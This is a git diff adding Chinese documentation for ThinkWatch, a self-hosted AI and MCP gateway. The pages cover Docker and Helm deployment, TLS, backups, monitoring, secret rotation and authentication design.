GitHub Container Registry 拉取预构建镜像并启动所有服务: + +```bash +docker compose -f deploy/docker-compose.yml --env-file .env.production pull +docker compose -f deploy/docker-compose.yml --env-file .env.production up -d +``` + +如需固定某个版本而非 `latest`,将 `IMAGE_TAG` 设为该版本号,或 `main` 分支上某次提交的 SHA: + +```bash +IMAGE_TAG=3.5.0 docker compose -f deploy/docker-compose.yml --env-file .env.production up -d +``` + +这将启动: +- **server** —— ThinkWatch Rust 二进制文件(网关端口 3000,控制台端口 3001 仅内部访问) +- **web** —— nginx 提供构建好的 React SPA(端口 80) +- **postgres** —— PostgreSQL 18,带持久化卷 +- **redis** —— Redis 8,带持久化卷 +- **clickhouse** —— ClickHouse 列式数据库,用于审计日志 + +### 3.4 验证健康状态 + +```bash +# Gateway health +curl http://localhost:3000/health + +# Console health (from within the Docker network, or via the web container) +docker compose -f deploy/docker-compose.yml exec server curl http://localhost:3001/api/health +``` + +### 3.5 ClickHouse 配置 + +ClickHouse 以列式格式存储审计日志,针对分析查询进行优化。在 `.env.production` 中配置连接: + +```bash +# ClickHouse 连接 +CLICKHOUSE_URL=http://clickhouse:8123 +CLICKHOUSE_DB=think_watch +CLICKHOUSE_USER=default +CLICKHOUSE_PASSWORD= +``` + +| 变量 | 默认值 | 说明 | +|------|--------|------| +| `CLICKHOUSE_URL` | `http://clickhouse:8123` | ClickHouse HTTP 接口 URL。 | +| `CLICKHOUSE_DB` | `think_watch` | 审计日志表所在的数据库名称。 | +| `CLICKHOUSE_USER` | `default` | ClickHouse 认证用户。 | +| `CLICKHOUSE_PASSWORD` | — | ClickHouse 密码。 | + +ThinkWatch 在 ClickHouse 中创建六张表: + +- `audit_logs` — 安全审计轨迹 (90 天 TTL) +- `gateway_logs` — AI API 请求日志 (90 天 TTL) +- `mcp_logs` — MCP 工具调用日志 (90 天 TTL) +- `platform_logs` — 平台管理操作 (90 天 TTL) +- `access_logs` — HTTP 访问日志 (30 天 TTL) +- `app_logs` — 应用运行时日志 (30 天 TTL) + +表在首次启动时通过 `deploy/clickhouse/init.sql` 自动创建。 + +### 3.6 设置反向代理 + +在生产环境中,应在 Docker 服务前放置反向代理来处理 TLS 终止。只有网关端口(3000)和 Web UI 端口(80)需要对终端用户可达。 + +**重要:** 控制台端口(3001)不应暴露给公共互联网。仅通过内部网络、VPN 或通过 Web 容器的 nginx(将 `/api/*` 反向代理到端口 3001)访问。 + +#### 示例:nginx 反向代理 + +```nginx +# Gateway — public-facing +server { + listen 443 ssl; + server_name gateway.yourdomain.com; + + ssl_certificate /etc/letsencrypt/live/gateway.yourdomain.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/gateway.yourdomain.com/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Required for SSE streaming + proxy_buffering off; + proxy_cache off; + proxy_read_timeout 300s; + } +} + +# Console Web UI — restricted access +server { + listen 443 ssl; + server_name console.yourdomain.com; + + ssl_certificate /etc/letsencrypt/live/console.yourdomain.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/console.yourdomain.com/privkey.pem; + + # Optionally restrict by IP + # allow 10.0.0.0/8; + # deny all; + + location / { + proxy_pass http://127.0.0.1:80; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } +} +``` + +#### 示例:traefik(通过 Docker 标签) + +在 compose 覆盖文件中为 `server` 和 `web` 服务添加标签,以配置 Traefik 路由和使用 Let's Encrypt 自动配置 TLS。 + +--- + +## 4. Kubernetes 部署 + +在 `deploy/helm/think-watch/` 提供了 Helm chart。 + +### 4.1 镜像 + +每个版本发布时,镜像推送到 GitHub Container Registry,标签为版本号,正式版本另加 `latest`;每次推送到 `main` 分支时,还会发布以提交 SHA 为标签的镜像: + +``` +ghcr.io/thinkwatchproject/think-watch-server: +ghcr.io/thinkwatchproject/think-watch-server:latest +ghcr.io/thinkwatchproject/think-watch-server: + +ghcr.io/thinkwatchproject/think-watch-web: +ghcr.io/thinkwatchproject/think-watch-web:latest +ghcr.io/thinkwatchproject/think-watch-web: +``` + +镜像为公开可访问,无需认证即可拉取。 + +### 4.2 使用 Helm 安装 + +```bash +helm install think-watch deploy/helm/think-watch \ + --set secrets.jwtSecret=$(openssl rand -hex 32) \ + --set secrets.encryptionKey=$(openssl rand -hex 32) \ + --set config.corsOrigins="https://console.internal.example.com" +``` + +Chart 会在服务器旁一并运行 PostgreSQL、Redis 和 ClickHouse。留空的密钥在首次安装时自动生成,升级时保留。改用托管数据库见 [4.6 外部 PostgreSQL 与 Redis](#46-外部-postgresql-与-redis)。 + +Chart 默认部署与其自身版本(`Chart.yaml` 中的 `appVersion`)相同的镜像。如需部署其他标签,例如 `main` 分支上的某次提交: + +```bash +helm install think-watch deploy/helm/think-watch \ + --set image.server.tag= \ + --set image.web.tag= \ + ... +``` + +### 4.3 配置 Ingress + +Helm chart 支持双主机 Ingress。在 `values.yaml` 中或通过 `--set` 启用和配置: + +```yaml +ingress: + enabled: true + className: nginx + gateway: + host: gateway.yourdomain.com # Public-facing + tls: + - secretName: gateway-tls + hosts: + - gateway.yourdomain.com + console: + host: console.internal.yourdomain.com # Internal only + tls: + - secretName: console-tls + hosts: + - console.internal.yourdomain.com +``` + +对于控制台 Ingress,使用内部 Ingress 类或添加注解以限制访问: + +```yaml +ingress: + console: + annotations: + nginx.ingress.kubernetes.io/whitelist-source-range: "10.0.0.0/8,172.16.0.0/12" +``` + +### 4.4 外部密钥管理 + +在生产环境中,使用 External Secrets Operator 而非通过 `--set` 传递密钥。Chart 总会创建自己的 Secret,即 `-secrets`(上文的 release 对应 `think-watch-secrets`),服务器从中读取环境变量,因此 ExternalSecret 应把值合并进这个 Secret,而不是另建一个:先安装 Chart,再应用: + +```yaml +apiVersion: external-secrets.io/v1 +kind: ExternalSecret +metadata: + name: think-watch +spec: + refreshInterval: 1h + secretStoreRef: + name: vault-backend # or aws-secrets-manager, etc. + kind: SecretStore + target: + name: think-watch-secrets # -secrets, created by the chart + creationPolicy: Merge + data: + - secretKey: JWT_SECRET + remoteRef: + key: think-watch/jwt-secret + - secretKey: ENCRYPTION_KEY + remoteRef: + key: think-watch/encryption-key +``` + +此后升级时,Chart 会从该 Secret 读回 `JWT_SECRET` 和 `ENCRYPTION_KEY`,密钥库中的值得以保留;`secrets.jwtSecret` 与 `secrets.encryptionKey` 须留空,因为在其中设置的值优先于 Secret。服务器只在启动时读取 Secret,因此首次同步后需要重启一次:`kubectl rollout restart deployment/think-watch-server`。`DATABASE_URL` 和 `REDIS_URL` 不能来自密钥库:每次升级时 Chart 都按 `postgres.externalUrl` 和 `redis.externalUrl` 重新写入(见 [4.6](#46-外部-postgresql-与-redis))。 + +### 4.5 水平 Pod 自动伸缩 + +在 `values.yaml` 中启用 HPA: + +```yaml +autoscaling: + enabled: true + minReplicas: 2 + maxReplicas: 10 + targetCPUUtilizationPercentage: 70 +``` + +服务器是无状态的(所有状态存储在 PostgreSQL 和 Redis 中),因此可以无障碍地水平扩展。 + +### 4.6 外部 PostgreSQL 与 Redis + +托管的 PostgreSQL 或 Redis 可以代替 Chart 自带的实例。使用 Helm Chart 时,为该服务设置 `bundled: false` 和 `externalUrl`;不使用 Chart 时,地址写在 `DATABASE_URL` 和 `REDIS_URL` 中。 + +```yaml +postgres: + bundled: false + externalUrl: postgres://user:pass@pg.example.com:5432/think_watch?sslmode=require +redis: + bundled: false + externalUrl: rediss://:pass@my-cache.example.com:6379 +``` + +**经连接池访问 PostgreSQL。**每个服务器实例启动时都会建立数据库结构,期间持有一把会话级 advisory lock,使同时启动的实例依次进行。因此地址必须直连 PostgreSQL,或经由会话模式的连接池,不能使用事务模式的连接池(PgBouncer 的 `pool_mode = transaction`,或托管连接池的事务模式端口):在事务模式下,这把锁可能留在连接池保留的服务端连接上,此后每次启动都会一直等待。建立数据库结构使用的就是 `DATABASE_URL` 的连接,没有单独的地址。 + +**Redis Cluster。**地址使用 `redis-cluster://` 协议,列出一个或多个节点,服务器由此找到集群的其余节点: + +```text +redis-cluster://:pass@redis-0.redis:6379?node=redis-1.redis:6379&node=redis-2.redis:6379 +``` + +每个节点都必须能从服务器按它向集群公布的地址(`cluster-announce-ip` / `-port`)访问。集群只有 0 号数据库,因此地址中不写 `/`。 + +**经 TLS 访问 Redis。**托管 Redis 服务通常要求 TLS,例如开启传输加密的 ElastiCache、Upstash、Azure Cache for Redis 和 Redis Cloud。地址使用 `rediss://` 协议,集群使用 `rediss-cluster://`,主机名写服务给出的名称,端口写它的 TLS 端口(地址中不写端口即为 `6379`;Azure Cache for Redis 为 `6380`)。证书按公共 CA 和地址中的主机名校验;集群中每个节点的证书都必须包含该节点公布的地址。 + +证书由私有 CA 签发的 Redis 需要提供该 CA:把 `REDIS_CA_CERT` 设为它的 PEM 证书路径,服务器连接 Redis 时便只信任该文件中的证书。使用 Helm Chart 时,把证书放进 Secret,并在 `redis.caSecret` 中指定;Chart 会挂载它并设置 `REDIS_CA_CERT`: + +```bash +kubectl -n thinkwatch create secret generic redis-ca --from-file=ca.crt=./ca.crt +``` + +```yaml +redis: + bundled: false + externalUrl: rediss://:pass@redis.internal:6379 + caSecret: + name: redis-ca + key: ca.crt +``` + +该文件在启动时读取,修改后需要重启服务器。不支持客户端证书(双向 TLS):这类 Redis 需设置 `tls-auth-clients no`,并使用密码认证。启用 `networkPolicy.enabled` 时,地址中没有写到的端口(例如集群节点公布的其他端口)写在 `networkPolicy.extraEgress` 中。 + +--- + +## 5. SSL/TLS + +### 使用 Let's Encrypt 配合反向代理 + +推荐的方式是在反向代理层终止 TLS。ThinkWatch 本身在端口 3000 和 3001 上提供纯 HTTP 服务。 + +**使用 certbot(独立 nginx):** + +```bash +certbot certonly --nginx -d gateway.yourdomain.com -d console.yourdomain.com +``` + +**使用 Kubernetes cert-manager:** + +```yaml +apiVersion: cert-manager.io/v1 +kind: ClusterIssuer +metadata: + name: letsencrypt-prod +spec: + acme: + server: https://acme-v02.api.letsencrypt.org/directory + email: admin@yourdomain.com + privateKeySecretRef: + name: letsencrypt-prod + solvers: + - http01: + ingress: + class: nginx +``` + +然后在 Ingress 注解中引用该 issuer: + +```yaml +annotations: + cert-manager.io/cluster-issuer: letsencrypt-prod +``` + +### 为 HTTPS 配置 CORS + +当控制台通过 HTTPS 提供服务时,更新 `CORS_ORIGINS` 环境变量: + +```bash +CORS_ORIGINS=https://console.yourdomain.com +``` + +如果需要,可以用逗号分隔多个来源。 + +--- + +## 6. 备份与恢复 + +### 6.1 PostgreSQL + +PostgreSQL 包含所有关键的应用状态:用户、API 密钥、提供商配置、用量记录和审计日志。 + +**定时 pg_dump(简单方式):** + +```bash +# Daily backup +pg_dump -h localhost -U thinkwatch -d think_watch -Fc > backup_$(date +%Y%m%d).dump + +# Restore +pg_restore -h localhost -U thinkwatch -d think_watch -c backup_20260401.dump +``` + +**WAL 归档(时间点恢复):** + +对于生产部署,配置 PostgreSQL WAL 归档到 S3 存储桶或网络存储。这允许恢复到任意时间点,而不仅仅是最后一次转储。使用 `pgBackRest` 或 `wal-g` 等工具进行自动化 WAL 管理。 + +**托管数据库:** 如果使用托管 PostgreSQL 服务(AWS RDS、Google Cloud SQL 等),自动备份和时间点恢复通常已包含在内。 + +### 6.2 Redis + +Redis 存储临时数据(速率限制计数器、会话状态、OIDC 流程状态)。丢失 Redis 数据不会造成灾难性后果 —— 速率限制会重置,用户需要重新登录。 + +不过,为了在重启后保留速率限制状态,建议启用 Redis 持久化: + +``` +# redis.conf +appendonly yes +appendfsync everysec +``` + +Docker Compose 文件默认为 Redis 数据挂载持久化卷。 + +### 6.3 ClickHouse + +ClickHouse 以列式表存储审计日志。Docker Compose 文件为 ClickHouse 数据挂载了持久化卷。 + +灾难恢复: +- 备份 ClickHouse 数据卷,或使用 `clickhouse-client` 导出数据。 +- 由于审计日志也写入 PostgreSQL(`audit_logs` 表),如有需要,ClickHouse 数据可以从主数据库重新插入。 + +--- + +## 7. 监控 + +### 7.1 健康检查端点 + +| 端点 | 端口 | 用途 | +|---------------------------|------|----------------------------------------------| +| `GET /health` | 3000 | 网关基本健康检查 | +| `GET /health/live` | 3000 | 存活探针(进程是否存活?) | +| `GET /health/ready` | 3000 | 就绪探针(PG 或 Redis 不可用时返回 503) | +| `GET /api/health` | 3001 | 控制台详细健康检查(延迟、连接池、运行时间) | +| `GET /metrics` | 3000 | Prometheus 指标(无需认证) | + +**Kubernetes 推荐的探针配置:** + +```yaml +livenessProbe: + httpGet: + path: /health/live + port: 3000 + initialDelaySeconds: 5 + periodSeconds: 10 +readinessProbe: + httpGet: + path: /health/ready + port: 3000 + initialDelaySeconds: 10 + periodSeconds: 5 +``` + +使用 `/health/live` 作为存活探针(如果进程卡住则重启 Pod),使用 `/health/ready` 作为就绪探针(如果依赖不可用则从负载均衡器中移除 Pod)。 + +### 7.2 结构化日志 + +ThinkWatch 使用 `tracing`,通过 `RUST_LOG` 环境变量配置可选的输出: + +```bash +# Default: info level +RUST_LOG=info,think_watch=info + +# Debug for ThinkWatch crates, info for dependencies +RUST_LOG=info,think_watch=debug + +# Trace-level for detailed request/response debugging +RUST_LOG=info,think_watch=trace + +# JSON-formatted logs (configured in tracing-subscriber setup) +``` + +日志写入标准输出,可由任何日志聚合系统收集(Datadog、Loki、CloudWatch 等)。 + +### 7.3 审计日志转发 + +ThinkWatch 支持将审计事件实时转发至外部系统,支持四种通道: + +| 通道 | 协议 | 适用场景 | +|------|------|----------| +| UDP Syslog | RFC 5424 | Splunk、Graylog 等传统 SIEM | +| TCP Syslog | RFC 5424 | 需要可靠传输的 SIEM 环境 | +| Kafka | REST Proxy (JSON) | 数据湖、流处理管道 | +| HTTP Webhook | POST JSON | 自定义告警、Slack/Teams 集成 | + +通过管理控制台 **Admin > Log Forwarding** 配置,支持: +- 多通道并行投递 +- 每通道独立启停 +- 连接测试与统计监控 +- 自动重试与错误计数 + +审计事件始终写入 PostgreSQL 和 ClickHouse(如已配置),转发通道为附加投递渠道。 + +### 7.4 Prometheus 指标 + +ThinkWatch 在网关端口(3000)的 `GET /metrics` 暴露 Prometheus 兼容的指标。此端点无需认证,以便标准 Prometheus 抓取。 + +可用指标包括: +- **请求延迟直方图**(`http_request_duration_seconds`)-- 按端点、方法和状态码分组 +- **Token 吞吐量计数器**(`llm_tokens_total`)-- 按模型分组的提示词和补全 Token +- **活跃连接数仪表**(`http_active_connections`)-- 当前打开的连接数 +- **错误率计数器**(`http_requests_errors_total`)-- 按端点和错误类型分组 + +**Prometheus 抓取配置:** + +```yaml +scrape_configs: + - job_name: 'thinkwatch' + scrape_interval: 15s + static_configs: + - targets: ['thinkwatch:3000'] + metrics_path: /metrics +``` + +> **安全:** `/metrics` 端点无需认证。在生产环境中,请通过网络策略或反向代理限制访问,以防止向不受信任的网络暴露内部指标。 + +### 7.5 后台任务 + +ThinkWatch 运行多个自动执行的后台任务: + +| 任务 | 间隔 | 描述 | +|-------------------------------|----------|------------------------------------------------------| +| API 密钥生命周期管理 | 定期 | 禁用超过不活跃超时的密钥 | +| 数据保留清除 | 每日 | 永久删除超过 `data_retention_days` 的软删除记录 | +| 密钥过期通知 | 每日 | 为 7 天内即将过期的密钥记录警告 | + +这些任务在服务器进程内运行,不需要外部调度器(如 cron)。服务器启动时会自动激活。 + +--- + +## 8. 客户端配置指南 + +ThinkWatch 在 Web 控制台中内置了**配置指南**页面,位于 `/guide`。该页面提供了将各种 AI 客户端工具连接到网关的一键复制配置说明,并自动检测网关 URL。 + +### 支持的客户端工具 + +配置指南提供了以下工具的现成配置说明: + +- **Claude Code** -- 将 `ANTHROPIC_BASE_URL` 设置为网关的 `/v1` 端点(使用 `/v1/messages` 的 Anthropic Messages API) +- **Cursor** -- 在 Cursor 设置中配置 OpenAI 兼容端点(使用 `/v1/chat/completions`) +- **Continue** -- 在 `~/.continue/config.json` 中配置提供商(使用 `/v1/chat/completions`) +- **Cline** -- 在 Cline 设置中配置 API 基础 URL(使用 `/v1/chat/completions`) +- **OpenAI SDK** -- 设置 `OPENAI_BASE_URL` 和 `OPENAI_API_KEY` 环境变量(使用 `/v1/chat/completions` 或 `/v1/responses`) +- **Anthropic SDK** -- 设置 `ANTHROPIC_BASE_URL` 和 `ANTHROPIC_API_KEY` 环境变量(使用 `/v1/messages`) +- **cURL** -- 三种 API 格式的示例命令 +- **ThinkWatch Lite** -- 「添加到 ThinkWatch Lite」按钮把网关添加到桌面应用(见下文) + +### 把网关添加到 ThinkWatch Lite + +「添加到 ThinkWatch Lite」按钮打开 [ThinkWatch Lite](/zh-CN/lite) 的「新建上游」对话框,网关地址与密钥都已填好,用户一步即可接入桌面应用。这个按钮出现在创建或轮换密钥之后、首次运行设置的最后一步,以及配置指南的 ThinkWatch Lite 标签页。 + +该按钮需要 ThinkWatch Lite 2026.10.16 或更高版本。地址取自「网关公开地址」设置,链接格式见[导入链接](/zh-CN/docs/lite/import-links)。部署在公司内网、使用 `http://` 的网关同样可用,ThinkWatch Lite 会写明密钥以明文传输。 + +### 网关 API 端点 + +网关(端口 3000)在单一端口上提供三种 API 格式: + +| 端点 | 格式 | 典型客户端 | +| --------------------------- | ----------------------- | -------------------------------------------- | +| `POST /v1/chat/completions` | OpenAI Chat Completions | Cursor、Continue、Cline、OpenAI SDK | +| `POST /v1/messages` | Anthropic Messages API | Claude Code、Anthropic SDK | +| `POST /v1/responses` | OpenAI Responses API | OpenAI SDK(2025 格式) | +| `GET /v1/models` | 调用方密钥可用的模型 | 所有客户端 | +| `GET /v1/usage` | 调用方密钥的用量与限额 | 持有网关 API 密钥的任何客户端 | + +所有端点通过 `Authorization: Bearer` 请求头接受 `tw-` API 密钥。 + +--- + +## 9. 升级 + +### 9.1 数据库迁移 + +迁移在服务器启动时自动运行。`sqlx` 迁移系统在 `_sqlx_migrations` 表中跟踪已应用的迁移,仅运行新的迁移。 + +**重要:** 升级到包含 Schema 变更的新版本前,务必备份数据库。 + +### 9.2 滚动更新(Kubernetes) + +服务器是无状态的,因此滚动更新可以直接使用: + +```bash +# Update the image tag +helm upgrade think-watch deploy/helm/think-watch \ + --set image.server.tag=3.5.0 \ + --set image.web.tag=3.5.0 \ + --reuse-values +``` + +Kubernetes 将执行滚动更新,在终止旧 Pod 之前启动新 Pod。第一个启动的新 Pod 将运行所有待处理的数据库迁移。 + +**提示:** 在部署策略中设置 `maxSurge: 1` 和 `maxUnavailable: 0`,以确保升级期间零停机。 + +### 9.3 Docker Compose 更新 + +```bash +# Pull new images or rebuild +docker compose -f deploy/docker-compose.yml --env-file .env.production build + +# Restart with new images (database migrations run on startup) +docker compose -f deploy/docker-compose.yml --env-file .env.production up -d +``` + +### 9.4 破坏性变更策略 + +- **补丁版本**(0.1.x):仅修复 Bug。无迁移变更。可安全升级,无需审查。 +- **次要版本**(0.x.0):可能包含新增表或列的迁移。始终向后兼容。请查阅变更日志。 +- **主要版本**(x.0.0):可能包含破坏性 API 变更、破坏性迁移或配置变更。升级前请仔细阅读升级指南。 + +升级前请查看项目变更日志或发布说明以了解迁移详情。 diff --git a/src/content/docs/zh-CN/overview.md b/src/content/docs/zh-CN/overview.md new file mode 100644 index 0000000..d795528 --- /dev/null +++ b/src/content/docs/zh-CN/overview.md @@ -0,0 +1,25 @@ +# ThinkWatch 企业版 + +ThinkWatch 企业版是面向组织自托管的 AI API 与 MCP 网关。组织内的每一次模型请求和 MCP 工具调用都经过同一个网关:以组织的身份系统认证,按限流与预算检查,经安全防护审查,核算费用并写入审计日志。它在 AI 访问中的作用,相当于堡垒机在服务器访问中的作用。 + +> 可用 Docker Compose 或 Kubernetes Helm Chart [部署](/zh-CN/docs/deployment-guide)。客户端只需访问网关端口 3000;控制台端口 3001 提供管理界面与管理 API,应置于 VPN 或防火墙之后。 + +## 要点 + +- **MCP 工具调用以真实用户身份执行。** 每位用户连接自己的 GitHub、Notion、Linear、Slack、Atlassian 等账号,上游自身的审计日志因此能记录到具体操作人。每个工具可以按角色和按 API Key 授权。 +- **每个请求都经过安全防护。** 凭据和个人信息可在请求发往上游前替换为占位符,并在回答中还原;模型返回的危险工具调用可在客户端执行前切断。内容过滤可拒绝提示词注入,或删除调用方发送内容中的隐藏字符;各项防护出厂为观察档,只记录。 +- **身份来自组织目录。** 登录可对接任意 OIDC 提供商,并可启用 TOTP 两步验证。五个内置角色与自定义角色决定每个人可用的模型、工具和管理页面。 +- **AI 与 MCP 共用一把密钥。** `tw-` 虚拟密钥可限定用于 AI 网关、MCP 网关或两者。密钥只以哈希形式保存,轮换时保留宽限期。 +- **限流与预算。** 一分钟到一周的滑动窗口限制请求数或 token 数,按日、周、月的预算控制总用量。两者均可设置在用户、API Key 或角色上。 +- **可用于财务核算的费用统计。** 费用按模型、用户、上游和成本中心汇总,可导出 CSV 分摊报表。月末费用另有预测。 +- **审计记录存入 ClickHouse。** 每一次模型请求和工具调用都记录用户、参数、响应、延迟与错误。审计事件可通过 Syslog、Kafka 或签名 Webhook 转发至 SIEM。 +- **所有客户端共用一个入口。** OpenAI Chat Completions、OpenAI Responses、Anthropic Messages 与 Gemini 请求在同一端口提供,并转换为上游所用的格式。路由按权重、延迟或健康状况分配流量,熔断器将持续出错的上游移出轮转。 + +## 阅读顺序 + +1. [架构设计](/zh-CN/docs/architecture):双端口模型、请求生命周期与数据流。 +2. [部署指南](/zh-CN/docs/deployment-guide):Docker Compose、Helm Chart、TLS 与生产环境加固。 +3. [配置说明](/zh-CN/docs/configuration):环境变量与系统设置。 +4. [安全模型](/zh-CN/docs/security):认证、加密、RBAC 与加固清单。 + +ThinkWatch 企业版在 Business Source License 1.1 下源码开放:非生产环境免费,生产环境在月度阈值以内免费,详见[定价](/zh-CN/pricing)。 diff --git a/src/content/docs/zh-CN/secret-rotation.md b/src/content/docs/zh-CN/secret-rotation.md new file mode 100644 index 0000000..cb9e304 --- /dev/null +++ b/src/content/docs/zh-CN/secret-rotation.md @@ -0,0 +1,165 @@ +# 密钥轮换指南 + +本文档介绍 ThinkWatch 使用的各类密钥的轮换流程。 + +## JWT Secret 轮换 + +JWT Secret(`JWT_SECRET`)用于签发和校验访问令牌 / 刷新令牌。 + +### 操作步骤 + +1. **生成新 Secret**(至少 32 字符): + ```bash + openssl rand -hex 32 + ``` + +2. **安排停机窗口** —— 轮换 JWT Secret 会立即使所有现有令牌失效。 + +3. **更新部署中的环境变量**(`.env.production`、Kubernetes Secret 等): + ``` + JWT_SECRET= + ``` + +4. **同时重启所有 ThinkWatch 服务器实例**。 + +5. **用户需要重新登录** —— 现有的访问令牌和刷新令牌都将失效。 + +### 影响 + +- 所有活跃会话被终止 +- 使用 JWT 令牌的 API 消费方必须重新认证 +- API 密钥(Bearer `tw-*`)**不受影响**(使用基于哈希的认证) + +--- + +## 加密密钥轮换 + +加密密钥(`ENCRYPTION_KEY`)用于加密存储在数据库中的 Provider API 密钥与 MCP 服务器认证机密(AES-256-GCM)。 + +### 操作步骤 + +1. **生成新的 32 字节密钥**(64 位 hex 字符): + ```bash + openssl rand -hex 32 + ``` + +2. **重新加密所有 Provider API 密钥与 MCP 机密**: + ```sql + -- 必须通过程序完成。 + -- 导出密文 → 用旧 key 解密 → 用新 key 加密 → 写回数据库。 + ``` + + 推荐通过迁移脚本完成: + ```rust + let old_key = parse_encryption_key(&old_hex)?; + let new_key = parse_encryption_key(&new_hex)?; + + // 对每个 provider + let decrypted = decrypt(&provider.api_key_encrypted, &old_key)?; + let re_encrypted = encrypt(&decrypted, &new_key)?; + // UPDATE providers SET api_key_encrypted = $1 WHERE id = $2 + ``` + +3. **更新环境变量**: + ``` + ENCRYPTION_KEY= + ``` + +4. **重启所有实例**。 + +### 影响 + +- 如果忘记重新加密现有机密,它们将变得不可读 +- 新建的 Provider / MCP 机密会使用新 key +- 部署前务必先用新 key 验证一次解密 + +--- + +## API 密钥轮换 + +API 密钥可通过内置的轮换 API 实现零停机轮换。 + +### 通过 API + +```bash +# 轮换密钥(旧密钥在宽限期内仍然有效) +curl -X POST /api/keys/{key_id}/rotate \ + -H "Authorization: Bearer " \ + -H "X-Signature-Timestamp: ..." \ + -H "X-Signature-Nonce: ..." \ + -H "X-Signature: hmac-sha256:..." + +# 响应包含新的明文密钥 +{ + "id": "new-key-uuid", + "key": "tw-...", + "name": "My Key (rotated)", + "key_prefix": "tw-..." +} +``` + +### 通过 Web UI + +1. 进入 **AI Gateway → API Keys** +2. 在目标密钥行点击 **Rotate** 按钮 +3. 在弹窗中确认轮换 +4. 立即复制新密钥(仅显示一次),或点击「添加到 ThinkWatch Lite」将其添加到桌面应用 +5. 用新密钥更新你的应用 +6. 旧密钥在配置的宽限期内继续有效(默认:24 小时) + +### 自动轮换 + +在 **Settings → API Key Policies** 中配置自动轮换: + +- **Rotation Period (days)**:设置为 > 0 即启用自动轮换 +- **Grace Period (hours)**:轮换后旧密钥继续有效的时长 + +--- + +## OIDC Client Secret 轮换 + +OIDC Client Secret 用于与你的身份提供商(如 Zitadel)建立认证。 + +### 操作步骤 + +1. **在 OIDC Provider 的管理控制台中生成新的 Client Secret**。 + +2. **更新环境变量**: + ``` + OIDC_CLIENT_SECRET= + ``` + +3. **重启所有 ThinkWatch 实例** —— OIDC 发现在启动时执行。 + +### 影响 + +- 重启期间 SSO 登录可能短暂失败 +- 现有 JWT 令牌在过期前仍然有效 +- 已建立会话的用户不受影响 + +--- + +### Redis Signing Keys + +Signing Keys 用于对状态变更类请求(POST、PUT、PATCH、DELETE)做 HMAC-SHA256 签名校验。其特性: + +- 登录与令牌刷新时自动生成(32 字节随机值,hex 编码) +- 存储于 Redis,TTL 为 24 小时(与刷新令牌一致) +- **绑定客户端 IP** —— 登录时的 IP 与 key 一同存储;来自不同 IP 的请求会被拒绝 +- 通过 httpOnly Cookie(`signing_key`)下发到客户端 + +**轮换:** Signing Keys 在每次登录和令牌刷新时自动轮换。如需强制为某个用户立即轮换,可在管理后台执行「强制登出」,该操作会使其所有会话与 Signing Key 失效。 + +无需手动轮换。 + +--- + +## 最佳实践 + +1. **尽量在业务低峰期执行轮换** +2. **先在预发环境测试**,再轮换生产密钥 +3. **在运维日志中记录轮换操作** +4. **轮换后监控异常** —— 检查 `/api/health` 与应用日志 +5. **不同环境使用不同的密钥**(dev / staging / production) +6. **将密钥存放在 Vault 中**(HashiCorp Vault、AWS Secrets Manager 等),而非明文文件 +7. **日志转发器凭证** —— 如果使用带认证的 Kafka、HTTP Webhook 或 Syslog,在 Admin > Log Forwarding 中轮换这些凭证,并在轮换后测试连通性 diff --git a/src/content/docs/zh-CN/security.md b/src/content/docs/zh-CN/security.md new file mode 100644 index 0000000..805fcc3 --- /dev/null +++ b/src/content/docs/zh-CN/security.md @@ -0,0 +1,421 @@ +# ThinkWatch 安全文档 + +本文档描述了 ThinkWatch 的安全架构、机制和加固实践。 + +--- + +## 1. 认证 + +ThinkWatch 支持三种认证机制。网关接受其中任意一种;控制台管理 API 需要 JWT。 + +### 1.1 JWT 令牌 + +ThinkWatch 在认证成功后签发两个 JWT 令牌: + +| 令牌 | 默认有效期 | 用途 | +| -------------- | ----------------- | ---------------------------------------- | +| 访问令牌 | 900 秒(15 分钟) | 用于 API 授权的短期凭证 | +| 刷新令牌 | 604800 秒(7 天) | 用于获取新的访问令牌/刷新令牌对 | + +两个 TTL 值均可通过管理员 Web UI(`jwt_access_ttl_seconds` 和 `jwt_refresh_ttl_seconds` 设置)进行配置,无需重启服务器。 + +**签名算法:** 使用共享密钥(`JWT_SECRET` 环境变量)的 HS256。计划在未来版本中迁移到使用非对称密钥对的 RS256。 + +**密钥要求:** +- `JWT_SECRET` 必须至少 32 个字符长。 +- 启动时,ThinkWatch 执行熵检查,拒绝明显弱的密钥(例如全部相同字符、常见模式)。 +- 使用以下命令生成强密钥:`openssl rand -hex 32` + +**时钟偏差容忍:** 在验证令牌过期(`exp`)和生效时间(`nbf`)声明时,应用 30 秒的宽限,以适应分布式服务之间的轻微时钟差异。 + +**令牌声明:** + +```json +{ + "sub": "user-uuid", + "email": "user@example.com", + "role": "admin", + "exp": 1711930500, + "iat": 1711929600, + "iss": "thinkwatch" +} +``` + +**刷新流程:** 客户端将刷新令牌发送到 `POST /api/auth/refresh`。服务器验证令牌,签发新的访问/刷新令牌对,并使旧的刷新令牌失效。系统会检测刷新令牌的重用,一旦发现将使该用户的所有令牌失效(带重放检测的轮换机制)。 + +### 1.2 API 密钥 + +API 密钥为网关的编程访问提供长期认证。 + +| 属性 | 详情 | +| --------------- | ------------------------------------------------ | +| 格式 | 以 `tw-` 为前缀(如 `tw-sk-a1b2c3d4...`) | +| 存储 | SHA-256 哈希值存储在 PostgreSQL 中 | +| 验证 | 中间件对传入的密钥进行哈希后查找(过滤 `deleted_at IS NULL`) | +| 范围限制 | 可选的 `allowed_models` 限制 | +| 速率限制 | 可选的按密钥 RPM 限制,通过 Redis 实施 | +| 过期 | 创建时可设置可选的 TTL | + +原始密钥值仅在创建时返回一次。之后无法再检索,因为仅存储了哈希值。 + +**生命周期管理:** + +API 密钥现在支持完整的生命周期管理,包含以下能力: + +- **轮换:** 可通过 `POST /api/keys/{id}/rotate` 轮换密钥。生成新密钥并返回;旧密钥进入可配置的宽限期,在此期间新旧密钥均被接受。`grace_period_ends_at` 时间戳指示旧密钥何时停止工作。 +- **宽限期:** 轮换后,API 密钥认证中间件在 `grace_period_ends_at` 到期前同时接受新旧密钥哈希,允许客户端无中断地完成过渡。 +- **不活跃超时:** 密钥可配置 `inactivity_timeout_days` 